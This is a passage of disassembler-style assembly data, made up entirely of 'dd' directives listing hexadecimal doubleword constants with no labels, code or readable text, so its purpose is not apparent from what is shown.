4381DDA3h, 0C50085A3h dd 0BA8184A0h, 94088CAh, 0D3BF0200h, 5BAE68D9h, 4D1224B6h dd 3F931985h, 0FE11EC07h, 0C80C6C52h, 62A8940Ch, 0A809C7FFh dd 0A10AD563h, 0D463A87Bh, 93FD5460h, 9B75D01Fh, 23B18DC1h dd 7E112DFFh, 9D575E59h, 7FFA6CF1h, 4CC17528h, 8B4DFE7Ch dd 95F242A0h, 51A4B5C7h, 7B31D4EFh, 0BBBF9E29h, 0ADE9EA0Ah dd 0EA7BF46Ch, 9CBC941Bh, 47AB65CEh, 624D4F44h, 171C863Eh dd 0BCA22EFh, 139804E1h, 52D6C3F7h, 3E3E5ECCh, 231BAE83h dd 497A0C55h, 0AE8424FEh, 2B6EBC32h, 1EDF56EFh, 0DABE9DC7h dd 993DFF2Ch, 3DB3EEC3h, 0D067506Dh, 0BA0304B0h, 659E5B6h dd 63B22C1Ch, 686D05E6h, 0B72664C4h, 156D71A3h, 73B89022h dd 1977ED78h, 0A89C9ADFh, 69D4D334h, 0B459CDE8h, 8CB91CECh dd 8C179363h, 35122A92h, 2EEE8246h, 589786Ch, 34021778h dd 4975AAE8h, 871822AAh, 0A70B1AFDh, 36CFD5h, 78F4D526h dd 0B1B88B0Ch, 7C16CC79h, 0CF00A163h, 9EBF658Ah, 6301BD54h dd 580D5CF1h, 71266D89h, 0C67BD2B5h, 35E9151h, 3FDC5421h dd 0F4B8CE72h, 0DA490F22h, 2434C9CFh, 0FCD8801Fh, 52983763h dd 0DEE41ED6h, 777BC978h, 5F704A2Ch, 7576B6BBh, 9991B837h dd 0C29CB0B2h, 0FA892794h, 4CEBE8B6h, 822C9625h, 8D8A3DB3h dd 98CC6EB8h, 3B5728A8h, 767E704Bh, 0BF748D6Eh, 3E6C5083h dd 7A9D2CD0h, 0F348B312h, 55DBD2A2h, 15FA06C9h, 1D1F36D7h dd 5F678F61h, 0ABB65463h, 0BD91E68h, 21D2FD90h, 0D2462B4Fh dd 45B7F94Bh, 0EB637050h, 0E205D975h, 0C20A4BAAh, 5563A037h dd 5FBEC704h, 6B7C636h, 8929CA9Dh, 0B2B80FEAh, 4A8D78B3h dd 2984ECEFh, 0E181125Ch, 8B8879FDh, 71BAD6C2h, 1E245E13h dd 6D6BE20Bh, 565F77F8h, 0C55E2B49h, 7395112Fh, 0B831600Ch dd 3455DAA1h, 56EA4A18h, 58F23AE4h, 2D9D0C66h, 0E5BBDA56h dd 9A8472D9h, 0A878F1DAh, 6D0B3A46h, 25B549DCh, 259CCCFEh dd 703A4099h, 0C77515F1h, 0DF706556h, 9B30ACCCh, 0F28BB9EFh dd 4D9FE3CCh, 0A4AC5276h, 5D9CEFCDh, 0D003BBCAh, 0A3B7C8ABh dd 41D6A798h, 62E275F5h, 0F96D7739h, 46310A2Dh, 4FA0E93Fh dd 0CEA5834Bh, 844EA73Dh, 0BB46186h, 9121BB6Fh, 0A5041E13h dd 344FAC67h, 97AD253Ah, 5FE1FC3Ch, 0C480CE3Ch, 0DA75E9E4h dd 5816BBA7h, 0FF13F1D0h, 0F3905B27h, 2D806622h, 0D26ED43Eh dd 0BF746D80h, 42566A91h, 0FD03F9CAh, 0B2B13A1Ah, 0D9790B48h dd 0D294A2C4h, 5ADE1F2Fh, 0AC310C1Ch, 0F6EF419Dh, 0C4670D9Eh dd 0A74CF8BBh, 5F0EC9Ah, 0CF65201Fh, 428CEA29h, 0CCC08ECCh dd 8F609A15h, 0FBF3F0DBh, 0E24AE262h, 0D7EAEF6Bh, 0C06741DCh dd 97CE9197h, 7F52FB8Ch, 0F2C639ECh, 85511Dh, 2F0A11CEh dd 0A5DD87FBh, 0E9AF215Bh, 17A43907h, 0D458E1F7h, 0B6A15E54h dd 9E58D31Fh, 0DED2FC23h, 2A5CD989h, 0C871986Dh, 4D3DB714h dd 0CAD96FA7h, 90DBD0CAh, 0FCE65935h, 74A3127Ah, 3209769Bh dd 0BF875085h, 0F71667EEh, 4FD6A46Dh, 38EEEFCAh, 0D455A06Dh dd 776FAE94h, 76CB774Ah, 791CD30Eh, 0C61EFE1Fh, 34FC0308h dd 686AA512h, 15030EDFh, 0EA234829h, 6E38DED7h, 0ABF08F9Ch dd 6EBFFCEFh, 6F8E7295h, 4B8481F3h, 0BAC755h, 0ABEC57BBh dd 3FC5EEC2h, 4DE90E49h, 9CCF6EC6h, 4F04F65Eh, 67A139F3h dd 0B2ED1408h, 0ECDBF372h dd 6462483Bh, 0EF079502h, 17C9E7C8h, 68872507h, 480CCCF9h dd 0FE6E7338h, 0F3D42F58h, 90DA7333h, 69F120B5h, 0D4404BECh dd 5C272B98h, 0ECEAC7FFh, 4ADB15A2h, 16BB7363h, 17A19E27h dd 6968AA1h, 446C9FACh, 0B8B7B6D1h, 939F5C3Fh, 26F7D29h dd 38652E11h, 0D81F915Dh, 0F282DDB5h, 574DBADDh, 0CBA5442Dh dd 47DA5B27h, 20B08423h, 95835E06h, 941CB7B7h, 5CA65818h dd 5DB955F5h, 0BA96AC59h, 3CCD102Eh, 8879BB68h, 0C388A3B2h dd 31E5ACCFh, 5EE58D37h, 0E92EEFE1h, 90B673AFh, 7E195A5h dd 3A4769A5h, 3620846Dh, 0F4F8Ch, 6E36EF6h, 70124AD4h dd 43E5C217h, 3893902Dh, 0CE6C76BCh, 6A4D61FCh, 0C80F15BBh dd 919E577Ah, 7124E416h, 596E3F52h, 0EEF8BF3Eh, 0ABEF86F5h dd 0A70B0B39h, 6F22D7BAh, 0C62F2A8Dh, 5A95661h, 0A6EC79Bh dd 26337D0Dh, 63978DB7h, 8B6E855Ah, 7ED00117h, 4A3D8011h dd 9F21C4B8h, 9414921Eh, 7FF86A6Fh, 0E7FB0964h, 8755202Ch dd 2F61DA48h, 55DBDC85h, 45937DCBh, 0D1FDDD10h, 0DD86BD47h dd 0EE269DBDh, 9B5E431Ah, 1DC81E1Bh, 34962186h, 0FD5034Bh dd 69BC0C71h, 0BEE63126h, 7C28536Fh, 9C1919B2h, 0AC945FF9h dd 48F5A066h, 0A9C8C848h, 0BCFBBDBh, 61F3FE42h, 0B6F18326h dd 7934C5C2h, 52E71482h, 0F77CE83Dh, 60A0F599h, 0F299579Fh dd 3A38CCD3h, 1804B5E7h, 0D0E01A1Bh, 39C43A2Ah, 0BC4D7736h dd 94CEAAEBh, 25CBD45Fh, 4BEC8FEEh, 796698E0h, 6A19B402h dd 7741B6DEh, 0C09D31C0h, 0BD383A25h, 4B433195h, 0CA21C279h dd 6BC26551h, 0B13595EEh, 0AE5A23B3h, 65600F53h, 7A63D70Ah dd 0EEDD6199h, 0ECE3863Bh, 0A7129449h, 0C2E21965h, 3A073312h dd 1D0219A4h, 39C6D8F6h, 612FF6F0h, 0D943283Ah, 0B97EE1AEh dd 5FA604BFh, 36FC3C6h, 3A7110C1h, 53E228E8h, 32D5F10Fh dd 3AD1AF5Ch, 62F0E0A5h, 53631640h, 5BC038D3h, 0D98FF60Eh dd 541D160h, 0E2C81E50h, 6F91FC38h, 5BB4C4C7h, 87F544D0h dd 99B562A7h, 0F02FC6CDh, 0B39D658Ah, 0E1E0BF19h, 38C6786Ch dd 6CE46783h, 0FC09487Bh, 9528ED0Fh, 0D7403880h, 0DC2569B1h dd 28C245Dh, 0A47D4A2Ah, 45B6DFBEh, 0A139BDABh, 0D4E4C68Eh dd 0EE3D3A24h, 8006D469h, 6F46CF56h, 698C46BDh, 8A60F249h dd 554A040Dh, 7853EDD1h, 2B4DA3E0h, 0D5E62144h, 32BBB704h dd 6DCAAB21h, 0C41EE5Bh, 345A19D5h, 0C4553482h, 0BCEBF505h dd 0B4286F20h, 0A133E1Ah, 204E55FFh, 0DEE687F8h, 3686799Ch dd 12ED0D1Ah, 832504AEh, 47334B3Ah, 5C5AA43Eh, 0BBD22D4Fh dd 94969D97h, 0B45EE5B0h, 516C5506h, 0B02D068Eh, 0AD2B5EA5h dd 7EC66376h, 13371084h, 0E507116Bh, 37C7FFFBh, 5920E56Ch dd 3B588217h, 0DD898A08h, 3175A846h, 0B971B9A8h, 6C9D00A7h dd 78137AEAh, 0E982926Dh, 0EDAE265Ch, 506349C8h, 0B01F5912h dd 5B8669F3h, 0AAF7DA36h, 17D2EC92h, 0D95E5813h, 0DA277E2Ah dd 0EDDC5A1Ch, 5F3BD0C6h, 0BB0034C6h, 0FB7795E5h, 0C7C6B30Fh dd 86962580h, 0B8022F2h, 45BDD2A9h, 51E3B3Ah, 26E55A00h dd 12895E5Fh, 0B1900F9Fh, 50BB8DD2h, 830A1DE2h, 2B4F86A8h dd 0CF0AB619h, 0F5E8C2C5h, 4FE2C7BDh, 61E7B9D4h, 0C06A1B83h dd 4A5206B6h, 0F446D29Dh, 3459CBB7h, 2215DE08h, 4A87E324h dd 4F6A926h, 302C3F90h, 0D6B8AC4h, 0AE206822h, 366F9E9Ah dd 668C9C90h, 8C23464Ah, 0F38559A5h, 8B3CBF7Fh, 0E56D19EDh dd 0ADE8451Fh, 4333155Ah, 9C78E53h, 7B369AAh, 3A7FD3EBh dd 8E4FB72h, 0DFA39CC2h, 2BA09360h, 909018ACh, 8ABB638Bh dd 2BA12937h, 76FF3E64h, 0FB6096ABh, 0FFD70FA6h, 0C369A4B7h dd 364F0057h, 8774A363h, 0C520039Ch, 0FF056E1Eh, 0FCB1A51Ch dd 562C21ACh, 1377F21h, 415601C9h, 1081647Dh, 513ACF8Fh dd 0F7B8B40Dh, 0F3CDD228h, 6694E75Dh, 31850B50h, 0B6237C43h dd 6A7FB721h, 0B2ADE49Bh, 7C73BF46h, 8A7DE991h, 9F06BF7Ch dd 589E23B5h, 359436F2h, 0EBCE5CA6h, 95D1147Eh, 3DCC9E5h dd 43EDB76Ah, 0B20C2F09h, 0FDAF45Bh, 0DCCBC7AAh, 0E498E70Dh dd 4B8E697Bh, 0C79FAF2Bh, 314DA5DEh, 91FEB15Fh, 0EEC74C3h dd 0E6A53910h, 4751F1CCh, 0AEA47984h, 0FA30569Bh, 6DF9A92Dh dd 0C1E12431h, 0B1C3432Bh, 0E22626DBh, 65DC0194h, 32B9B65Fh dd 3D8B059Dh, 14D7F8F3h, 2745DF17h, 270F4CA2h, 75A1A334h dd 78D0145Eh, 49E70B81h, 0A60997BDh, 0D4320BAAh, 49DB574Ch dd 895A04FCh, 0D8D8C02Fh, 104C2D93h, 5063C0Eh, 0FA94840Fh dd 0AB82CA2Eh, 0ACF86289h, 0C30442CBh, 16E28021h, 2EEF6C4Bh dd 0D70C85FEh, 0F175D8Dh, 0AF7082FBh, 2A878EA6h, 2EAC913Ah dd 89BF6026h, 0A71C6352h, 0F13097EFh, 4CFD9636h, 0A3CD983Dh dd 6B1CD531h, 2BBDE175h, 9645BB79h, 0C99DC854h, 431E5125h dd 3F07502Ch, 2A306BBDh, 275ADB0Ah, 8BB58C5Dh, 547C32ADh dd 48187D79h, 0D17E7185h, 21C949FCh, 98DC7C77h, 5B19E9D1h dd 120D0FBAh, 377EB397h, 0BBD01276h, 0E46A41FCh, 0EE2FC99Fh dd 4B01F09h, 0FAB1AE9h, 0A9C6651Ch, 98D2F28Ah, 7641E402h dd 2BC71EC9h, 0AE26E99Fh, 89695855h, 14F83355h, 72B63560h dd 9BD56DF0h, 0D5CF7E0Fh, 0BA26908h, 23BB4F01h, 0C489925Fh dd 2F26BF3Fh, 0CEF8D582h, 0E47586DCh, 0B7E09C0Bh, 50F474FFh dd 0C3436052h, 0A41F7A3Ah, 590BA081h, 2FFBFC74h, 993AAF27h dd 0F73E0201h, 0E39C5616h, 84B844DFh, 0B69ED1EEh, 0AB10FB78h dd 0E28214ACh, 0DD8D0833h, 1E25F046h, 9595754Eh, 9DB736F6h dd 0EB14978Dh, 987115B2h, 74AF4B56h, 4AD12B54h, 0EBA1F38Ah dd 74E3E741h, 93C74376h, 5707B00Ah, 904EFA1Eh, 5935A9E1h dd 84F3E0D6h, 193FD459h, 1EC737Bh, 3754C6E6h, 5A5CBB27h dd 0B110E767h, 3212E24Dh, 773795ECh, 4C8B847h, 0E7F86860h dd 9730F5C8h, 0E54F0014h, 0ED58F998h, 253717E7h, 0AC55CD52h dd 3BC98E2Bh, 0C8B795A0h, 4EA35137h, 11D9EEBEh, 6987F2B8h dd 0EBA044A2h, 51714E89h, 3FA44B44h, 9C23571Ah, 0E16F4872h dd 91A309E4h, 0E49AC8Ch, 0BEEE7ADh, 3EECA4BDh, 0B97ECC65h dd 0AFC7AD3Eh, 8D690021h, 0DA7362C6h, 0D408B8A5h, 0A8B2141Eh dd 62BD2C25h, 2A63C814h, 271BB6E8h, 0A0CABCDCh, 924EA6D1h dd 0A01C372Eh, 1D5B26B7h, 6181983Dh, 1EB8DE43h, 323CADBFh dd 2E6755E9h, 9DF89F85h, 0E13502B5h, 0E2A6A9A7h, 0CF5890DCh dd 894B93E5h, 0D17D9A66h, 31A132F3h, 37A93E73h, 1AED5772h dd 1889348Dh, 0F645B65h, 0D7EB59AAh, 0C17101A7h, 0DDB1578Dh dd 0DDCDA361h, 0B1D03C82h, 18FF4552h, 0F9F63522h, 0AEE92D71h dd 89F352A5h, 0A05047C6h, 6B2BCCA4h, 68CD7297h, 9034F196h dd 0A0D3D401h, 2E58DD69h, 35CEE5EFh, 21EE8887h, 0CD7E7A86h dd 0EC63002Bh, 0F7899398h, 246F8072h, 0DD595720h, 0B2627F7Ah dd 8CAAE73Ah, 4C21C679h, 0BA42D820h, 3F11FC56h, 0C33E0921h dd 0BB799AE0h, 4CA25195h, 603DFE35h, 80CD647h, 0FB0185B8h dd 4B8A7A07h, 5407CD33h, 100FC436h, 0D1E86B8Ah, 0BAB958F2h dd 325C5DE0h, 3BC125h, 4344A2E3h, 894B6017h, 7B99590Eh dd 441FDB39h, 0D67CC1CCh, 0D0278482h, 6468830Ah, 4840413h dd 51500225h, 0B50E5E3Dh, 7B47B3FFh, 9D0E240Fh, 967BD91Ah dd 0E0A2464Ah, 4742B8CAh, 965D5207h, 70D1EBC1h, 0F2AA4067h dd 5405D1A6h, 0ABEDBBA2h dd 0CC182E9h, 0B5405D12h, 0A87AA23Eh, 387A3C83h, 0CB1C5F1Eh dd 96BD5D06h, 3A8E8149h, 59635B33h, 90F8BDB3h, 3E5D075Bh dd 0F3B2825Bh, 6FF435CAh, 3BEACA36h, 5D1D78ABh, 0A1AC138Ah dd 0D8633C66h, 0F5E280B6h, 26901582h, 0BB20EA0Bh, 0B924AAE4h dd 0BC987F5Fh, 7DEA4751h, 0F91565E1h, 0D29296BCh, 44B5DCF2h dd 21524749h, 2E25172Bh, 305F00ABh, 549B6817h, 0DD93543Fh dd 8E020524h, 0F96679E6h, 43AFEF49h, 26E34F4Fh, 6374A54h dd 3565AE36h, 78E07AB7h, 0F66A177Ch, 0F8445173h, 0E541AA2Ah dd 7E7B43D8h, 7F5CDB1Ch, 12DEAEDFh, 42AA37D7h, 62C57A39h dd 0D7261B05h, 27521ED7h, 0B469F86Fh, 359DEE96h, 0F2C06147h dd 0B9C0277Ah, 0E45278B7h, 0AC111E7Dh, 0AE38DD43h, 0C8EBCE52h dd 0C61F0FCh, 0DC108228h, 0B1E9EA89h, 0A0E7B485h, 0E1475FA1h dd 93A66E89h, 97628996h, 49D736E2h, 0DAF443E1h, 0B092F184h dd 7F3BD657h, 0DF7E4101h, 22A989BBh, 0AE9ECF98h, 0B65CA474h dd 8B1CA918h, 4FF524AAh, 62DFEB1Dh, 0C6C2A9BDh, 6A6BE306h dd 0D40DC722h, 364C46E3h, 0DCBA297Bh, 0F0B5DC42h, 3B426A5Bh dd 847C6E7Ah, 9B13FA7Eh, 0EE68B86Dh, 0ACE92244h, 0ACF5169Ah dd 74416828h, 126D46B4h, 12CA254Ch, 2619F56Dh, 0D1A686A5h dd 0F6EDC617h, 7BC4C4FEh, 8CC0DDB2h, 1781A8F3h, 901036D1h dd 9DB84CFEh, 3CE76869h, 0B4F4C1A0h, 52BB6F0Eh, 0F575DA05h dd 0DDD9DF65h, 30F5DD78h, 0C1C1CE82h, 40FA5A69h, 4E836969h dd 0FB6F2E36h, 87AC6D9Bh, 2B72764Bh, 0AEC1BF37h, 1F39EF0Eh dd 405BED95h, 5B9C1EADh, 7CDBD513h, 0B3E38490h, 0C640E530h dd 39A57840h, 0DB79819Ah, 799E1FFEh, 3C81C730h, 897711B8h dd 0D484CD58h, 0E814F2E8h, 26E15CEEh, 6B3FB9F8h, 7C5727F6h dd 0CB305179h, 66CC75CFh, 4B62C48Eh, 3CBB3CF5h, 0EE04850Fh dd 78968802h, 3D7E0C94h, 4AF58C3Ah, 0A9D5B7F2h, 0B0E88A1Eh dd 0E5B8F2Dh, 0B4556927h, 0C3327240h, 0F79B8AE2h, 0F5EC4C2h dd 895A878Eh, 353305ECh, 0B9554F5Ah, 37032255h, 0F02C1BD2h dd 0C363C714h, 0CACB203Ch, 0E6B8FC10h, 0B0E2E718h, 0A38F08A0h dd 0CF78598Fh, 12E59604h, 0ABEC8A24h, 0D45446B3h, 0F363368Bh dd 0FD6B6608h, 7BB4F18Bh, 24AF9FD6h, 79AB4A69h, 2AC778D7h dd 0EDC66360h, 3E4EB4E2h, 8B349354h, 395C2887h, 21881B42h dd 300657E2h, 4778FF5Fh, 0B737DC60h, 0B03C5471h, 0D83BDDB8h dd 366EF2BFh, 3F983EE2h, 121C557Fh, 57EC72F6h, 6521E71Fh dd 0C56B4F0Ah, 0C2EC7438h, 0F4B0450Bh, 593B59D5h, 0D0815FAAh dd 52B38F9Bh, 0FC7D74CDh, 0EE04D084h, 0EB74F81Dh, 2BF3D3B9h dd 1B7583C8h, 0EF1236DDh, 41A17B2Bh, 0EF01F48h, 4090052Dh dd 797ED700h, 0BA5884BAh, 520DC55Dh, 0A00D5D61h, 4D6B2425h dd 9CA46719h, 0CA2770EBh, 4A4B5ADAh, 435DB7A7h, 0EBB2C4Eh dd 4C96A167h, 0EF34EB9Fh, 0DBB77FB6h, 3E247F84h, 859978CAh dd 90C1588h, 4E75A1BAh, 94868060h, 0BB003C69h, 7488FAD9h dd 2A321F0Ch, 0CCA0C0C1h, 357B25E0h, 73D51149h, 0A21D93A9h dd 4328F146h, 2A18D576h, 483BEF4Dh, 0FFE7FA58h, 11FCFEEFh dd 30324ED0h, 0BEF353E8h, 0CEFAD5F7h, 54E45EF1h, 0E239076Eh dd 4675C034h, 0CCF45E35h, 4B1327h, 731A320h, 5E9CB6Ah dd 77E1AE07h, 91558C8Dh, 0F179B1D5h, 67446153h, 1F72ECF0h dd 6DA5CBC9h, 0C43BD526h, 56399B3Fh, 605B5F23h, 0BF2494B5h dd 11C679ECh, 14CAE756h, 3C5014ECh, 1A87ABEh, 196C792Ah dd 0E491C856h, 9B43B63Fh, 17E8ABE2h, 48A20DCDh, 60DC8AC0h dd 6D466765h, 1089D030h, 0D7C60E8Ch, 2DD93E66h, 8F1ADECh dd 446477B4h, 0ECDA4141h, 0F499E2CAh, 0C9F3A97Fh, 36652D79h dd 0CDC2127Fh, 506F5B8h, 0EF08ECACh, 0DC73AA95h, 0BFB1DEAAh dd 51584084h, 0F7B4683Eh, 0FC7C86C4h, 0FBC352DDh, 159E7F9Bh dd 82183980h, 76633046h, 0E9159442h, 8F3E7D5Ah, 9419A345h dd 6FC940DFh, 0CF75BA6Eh, 0C68BB39Eh, 481BE696h, 898215ADh dd 9ED671D0h, 94677E97h, 224B5ADCh, 43D6DF67h, 0F2ECB180h dd 1F92CBC6h, 0A6F93B55h, 7C51DA6Fh, 7969DFCFh, 0EA97498Bh dd 0ABB047B4h, 43856F0Ah, 21EE5547h, 1874FE67h, 0A200E792h dd 0B0F1F061h, 8AA8404Ah, 4EF15BBDh, 31E7DA21h, 571DA5D7h dd 5A335296h, 1B8B9003h, 0A05998Ch, 2EED0A15h, 0D769E6E4h dd 0A2E98238h, 0A8C2FA7Fh, 8696E78h, 0B1982A4Dh, 1B49F89h dd 7BF169D7h, 1D5E9815h, 0A5D06D50h, 0D6ABAA7Bh, 4513986Bh dd 7F875684h, 547BEE0Eh, 34D0B47Ah, 0C8EE0649h, 942F4952h dd 1B09783Ch, 0E104228Ah, 0E76D14B4h, 8BF8132h, 0D2CB7C51h dd 0CF71EF6Eh, 0BBC95361h, 55CFF8BAh, 6734E10Ch, 3FCABF7Fh dd 49E26167h, 126C4291h, 707F69BCh, 0DDE8B9Ah, 10675350h dd 0D6B77295h, 0C3A49B74h, 86F7A0E8h, 607BCECDh, 0D18F4EBAh dd 4C18BE9Fh, 64FA716Bh, 6AC1B9FDh, 0B04B5251h, 9863006Ch dd 72B299Ch, 0B1066CDBh, 7CD2DF68h, 0A1DC220Dh, 204E06Fh dd 7B3CBFBh, 8F67DAE9h, 883FDE22h, 10C1D767h, 0E6F6EF6Bh dd 0DD20ABDAh, 7B7E6865h, 3E5DF8BCh, 69CFF1AAh, 0F43812B3h dd 3EE4F849h, 1FAD8B50h, 0B4FBE04Ah, 0A7D13665h, 35D8FCA6h dd 8D8DF9CFh, 0E1ABAD07h, 397E0BEh, 0CBB3F785h, 0D38B87ABh dd 0E5ABEEE0h, 938CBC1Dh, 76A38F5Dh, 918DBABAh, 41333509h dd 77BE65DCh, 6E6FC3BBh, 0BCE9032Ah, 0AAF09B69h, 825F8785h dd 38A06148h, 23C0A6EEh, 881DBB0Dh, 87AD1105h, 320732A9h dd 132DCDDh, 74ACF5h, 1E738D0Bh, 0DDDF2E28h, 0D1750743h dd 1BEE4158h, 0CAB67BDEh, 689E1C2h, 978A3C0Fh, 0A13C897Bh dd 0A3833A9Bh, 434080CDh, 9E76E251h, 204568C4h, 9CDB0C3Eh dd 0FB7CE0BCh, 632C5A3Ch, 0FCE881EBh, 64075495h, 69E9F58Fh dd 58B3547Fh, 0C01F255Ch, 43893DA8h, 6CA15916h, 0A058576Dh dd 0A322A5F6h, 0EF279228h, 306FB565h, 4C1AD9CFh, 6597262Ch dd 9FE9250Fh, 7A727803h, 2079B027h, 0AF2A0362h, 65BA8309h dd 0B8412401h, 0ADC3D878h, 0B3434575h, 0AF1DFE56h, 0D0E81BEDh dd 40F2BEA8h, 8FFF8B24h, 956DBEBAh, 1544768Fh, 80A7D929h dd 20B6240Eh, 6B9E0092h, 0C89C082Eh, 870139E8h, 5D740021h dd 825DBDA6h, 2CF103Bh, 28A116C0h, 9B84C575h, 48B6D9BEh dd 7190CF40h, 0D1114181h, 65C3663Ah, 2D5CAC94h, 58F2C9DFh dd 3B17D8ACh, 0A59AD63Ch, 30C9B951h, 0AC3A3C51h, 1A79EDFBh dd 0CFFD4599h, 598768A8h, 0E91FC5E1h, 8F578AF9h, 0FE244EBCh dd 4E8465C8h, 5667071h, 544BEE4Ah, 2400E609h, 30A53B43h dd 0E3F069FEh, 0F03B2854h, 4AC7566Dh, 3D762504h, 67D3E43Fh dd 3FF9AD1Ch, 1C7A463Bh, 0A833B411h, 9C05AE03h, 9CF25369h dd 0F325F26Fh, 600E1B62h, 65309070h, 68209949h, 0A0F58297h dd 71C6CC7Eh, 0F3E04B4Eh, 90139B20h, 7CB23CC9h, 0F90824EBh dd 0A48B4EC5h, 0FDBBA26Dh, 3AC94247h, 833FE87Bh, 29393504h dd 9C9F554Fh, 7AEA168Fh, 5296B696h, 1064C423h, 189C53A2h dd 399AAFF0h, 4CEF0267h, 86546333h, 967C5E28h, 7547CC1h dd 0BBD91B84h, 7A9CB1E5h, 0D5B49F53h, 2FE70B2Eh, 4010F078h dd 0CB090BBCh, 9B550B15h, 0A549F2C5h, 0B59CF73Eh, 0C1C8C0Ch dd 34CA0BE7h, 67E4235Eh, 591F265Fh, 0FC151760h, 0DDE3234Bh dd 0CA674551h, 0EF5EA8F2h dd 8BDA79B8h, 73856E2Bh, 34DA7772h, 0DA956EF5h, 0D378DD92h dd 0E0A53D46h, 26145E6h, 483E9234h, 0FB35A60Fh, 5DAF0C6h dd 118AEC68h, 0F1CDBEBh, 0F5A147A0h, 0B3350F77h, 94C14830h dd 15325915h, 90D516B7h, 0D0A82386h, 9599255Dh, 8C807E2Dh dd 74F1261Bh, 0ADC2E912h, 4BE244A8h, 5E978D0Fh, 0B7A439ACh dd 4F98CB15h, 0D4794210h, 0F29F8026h, 0E48CE6EEh, 0EE120726h dd 0D3FA9FB2h, 85D3F73Dh, 87985809h, 0DBA28397h, 4D85A68Bh dd 0DC36DC6Bh, 45E8A74Ah, 0FA4C564Ch, 585B47BEh, 0C5D44130h dd 0AA094F63h, 0ABA31EC5h, 59DAAEA8h, 1D105357h, 2DA0F3CAh dd 550A284Eh, 74F2D2D6h, 3C6B8B11h, 0E251ADAh, 23266DC8h dd 4EF9A3C7h, 0FA1B05FAh, 71BA538Ch, 8ADD40FBh, 41443594h dd 5B40CD0Ah, 439B0F5Bh, 45B9FB04h, 9CC46ED3h, 5E67815h dd 29BCFD9Fh, 0C54F120Ch, 9D9C1CDAh, 0D19C993Fh, 17B9A83Bh dd 33FCBC76h, 0EFFE4402h, 31166E16h, 8FC25FAAh, 425D16EDh dd 813D9ED1h, 0D81D3808h, 30D9C12Eh, 560AB46Bh, 84EB4A9Ah dd 822DFDF6h, 0DD3A64E4h, 0B4CD9E39h, 8C4F300Ch, 0FC5D47C3h dd 9AA78643h, 0E0E8FDAAh, 9A93E5FFh, 8388BCCFh, 0F9805DF0h dd 7D09FBB0h, 862BE91Dh, 0D2CEA9A9h, 0E4D9799Dh, 0F38E0A38h dd 3E2CBC69h, 0B7071E02h, 0EF25DC75h, 9D34917Ch, 0A3E60D9Ah dd 0AB92B292h, 13AA5038h, 0AA1FE3ECh, 0DD4E1EE9h, 0C8202248h dd 0D0ABC52Eh, 9B2ACF07h, 0CC57757h, 0AD8F21B8h, 0E2A87F6h dd 0C0168A19h, 7643BD5Bh, 0D844A41Ah, 23E97762h, 0EB89406Fh dd 0FD6E1490h, 0E7445841h, 33689BA2h, 77C371B4h, 5A720080h dd 8A742B14h, 81C08A2Dh, 0D493B745h, 0C2445D25h, 0F246A442h dd 0E9D631Dh, 0F536ECCBh, 0FD5814AFh, 63EF8515h, 0CD568452h dd 5D1B1184h, 89F1C528h, 76F22448h, 0AB50259h, 845E566h dd 30111AA8h, 0C1035C68h, 0AB550921h, 0DB6DC990h, 4C09BFA8h dd 0F21F532Ch, 96EC4B42h, 5F05CE7h, 0D2003C27h, 9FFC8F7Eh dd 92C715BDh, 0C40F0EA0h, 5171B9D9h, 823CB9CDh, 446FBBBCh dd 7F9BD2D6h, 450F066Eh, 3F8E066Ch, 0E2DDBE97h, 9FDAD61Dh dd 33E82283h, 33B1755Eh, 3A080589h, 0F649F931h, 548EF88Bh dd 9C546F39h, 0F4DB2B60h, 9D519E9Ah, 0B67C89C2h, 0CAF51744h dd 8373BB6Ch, 8E0D041Ah, 0C946D09Bh, 81A8F77Eh, 2A517ADh dd 9DC1896h, 8833157Ch, 497A816Ch, 6FCC5E61h, 0AF69AD16h dd 0CBC337A2h, 68752E7h, 0D85C5E9Ah, 0F05A5AA9h, 49505E7h dd 96ACAD09h, 985F398Dh, 8CA1FDC0h, 0AFFD081Ch, 0EE89F00Eh dd 0DB3A950Dh, 658610E4h, 481EFAAEh, 3F235F89h, 753A03D0h dd 0C2FC0833h, 2B8FCD5h, 573C5226h, 0F2E00388h, 0DED244D0h dd 0FAE5B8B6h, 0D99B5502h, 90A65B13h, 281E82BAh, 0F568D297h dd 8B3A6DB5h, 15833B83h, 0FD99D90Eh, 18388535h, 0DBE6DA6Bh dd 4158D979h, 1C66E315h, 0D0935DE0h, 6390BEB1h, 5FA3FABDh dd 4D03E273h, 0E3AD14CFh, 4B60EA75h, 61EEB253h, 0DBB8B14Dh dd 0FF2BD716h, 1F8FAF1h, 300CBF65h, 0B7097672h, 0F490DBF4h dd 7960F263h, 80F60D3Dh, 50239221h, 1B2A4E59h, 6744B96Bh dd 0EB30883h, 7CD68BB6h, 0F887997Ch, 6077063Ah, 577EFA44h dd 6B6313E0h, 0A815E11Ah, 0BA78713Ah, 61CCB8C5h, 0A2733100h dd 0B7210171h, 0C59EBB68h, 1EBB389Bh, 96FE4E6Eh, 8DE132CDh dd 9C5CB5F6h, 12E11DF3h, 0B9BE8370h, 282D258h, 0B0D02326h dd 4418FC85h, 0C5FC5470h, 0C5655185h, 0EE3F4ABEh, 0CDA94780h dd 0FEF7151Ah, 0CFA68426h, 0ADA0D282h, 91F6D6D9h, 4BCBE79h dd 8AD6BBCFh, 5C0EB86Eh, 71D138EAh, 0EB577045h, 7E881D0Ch dd 88ECBD02h, 0E609C0A4h, 7D6AC10Dh, 0DBE8BCC6h, 5B2E5820h dd 764B9086h, 0C5FFE7E0h, 1004D061h, 4FCEC650h, 5355D92Ah dd 24220103h, 36C7FD37h, 0B963F323h, 0A056D244h, 24EB8809h dd 918579E9h, 9D211F17h, 5B988FC1h, 8C16AF5Ch, 9E9EE3FFh dd 3CEB9B85h, 0C6D8EE15h, 10F4F190h, 4C88E2C8h, 0B58D104Ch dd 79F36B49h, 254D6E94h, 3C361921h, 651C378Fh, 0D8E54327h dd 3258EB52h, 5B554B2Bh, 71459F2Ch, 0E5E2F32Dh, 74D485D8h dd 64755873h, 0C9B9AEC1h, 5B3301BBh, 0B0076B9h, 0DFE09CF8h dd 4CC0AF1Bh, 40A2BD24h, 6EBEC422h, 2D932937h, 0AC9F2B99h dd 1CC83267h, 70CC6996h, 38BC5F3Ah, 0CCCF556Eh, 0B095974h dd 63AE3364h, 0DFDA7E9Dh, 95F0E5D9h, 74D6A7CCh, 349850F3h dd 0A0CBF84Dh, 54B91317h, 11323FE4h, 0E2D5D1DBh, 0C949012h dd 6EACFF27h, 6BA55509h, 5734E5AFh, 2B15F83Dh, 0FE8AD788h dd 1FEFB90Ch, 0A9CDAE71h, 0DC40626Ch, 682055B4h, 